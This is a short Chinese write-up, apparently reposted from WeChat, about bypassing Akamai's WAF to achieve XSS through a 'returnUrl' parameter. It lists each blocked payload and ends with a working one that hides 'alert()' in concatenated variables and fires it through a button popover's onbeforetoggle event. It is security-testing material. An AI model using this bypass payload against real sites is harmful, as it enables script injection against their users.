在本文中,我们将开始探索绕过WAF的复杂艺术。Akamai 阿卡迈是一家全球领先的云计算、安全和内容交付服务提供商。
在某个接口发现参数 “returnUrl”,他的存在就像夜晚的灯塔一样闪闪发光。
作为测试人员,每当我们遇到这种情况时,应该都会测试下:
javascript:alert(1)
但是被拦截了。
现在进入分析阶段,我删除了 javascript: 后面的所有内容,以检查是否可以使用JavaScript协议,幸运的是,返回200,证明是可以的:
由于发现 javascript: 之后的 “alert” 被拦截,我继续评估其他常见JavaScript函数。包括:
javascript:prompt()
javascript:console.log()
javascript:eval()
所有尝试都以失败告终。很明显,Web应用程序的安全措施是不错的。
我没有放弃,决定探索更高级的JavaScript函数,以确定是否有任何函数可以绕过安全防御。包括:
javascript:atob() // base-64编码
String.fromCharCode()
但这些还是失败了。
经过详尽的测试,我发现 decodeURI() 未被阻止,这为利用该漏洞提供了一条潜在的途径。
javascript:decodeURI("<h1>vita</h1>")
javascript:decodeURI("<img src=x onerror=alert(1)>")
又被拦截了。即使没有 onerror=alert(1) ,仍然被拦截,这表明WAF有效地过滤了恶意标签。
我检查了所有的标签,除了一个标签 <button> 是允许的,其他的标签都被拦截了!所以我尝试测试:
<button autofocus onfocus=alert()>
发现只有“onbeforetoggle” 是允许的。
之后,我访问了PortSwigger并构造了一个包含 <button> 标签和'onbeforetoggle'事件的payload列表,发现这是仅有的两个可用选项:
如何克服这个问题呢?由于在 'JavaScript:' 之后,你可以声明变量。因此,我运用了一点创造力,将 alert() 函数分为三个独立的变量,类似于:javascript: var a = 'ale'; var b = 'rt'; var c = '()' 。然后,我将这些变量连接到 decodeURI 函数中的字符串中,得到了最终的有效负载,看起来像这样:
javascript:var a="ale";var b="rt";var c="()";decodeURI("<button popovertarget=x>Click me</button><hvita onbeforetoggle="+a+b+c+" popover id=x>Hvita</hvita>")
最终成功了!
原文始发于微信公众号(薯条机器猫):对Akamai的XSS绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论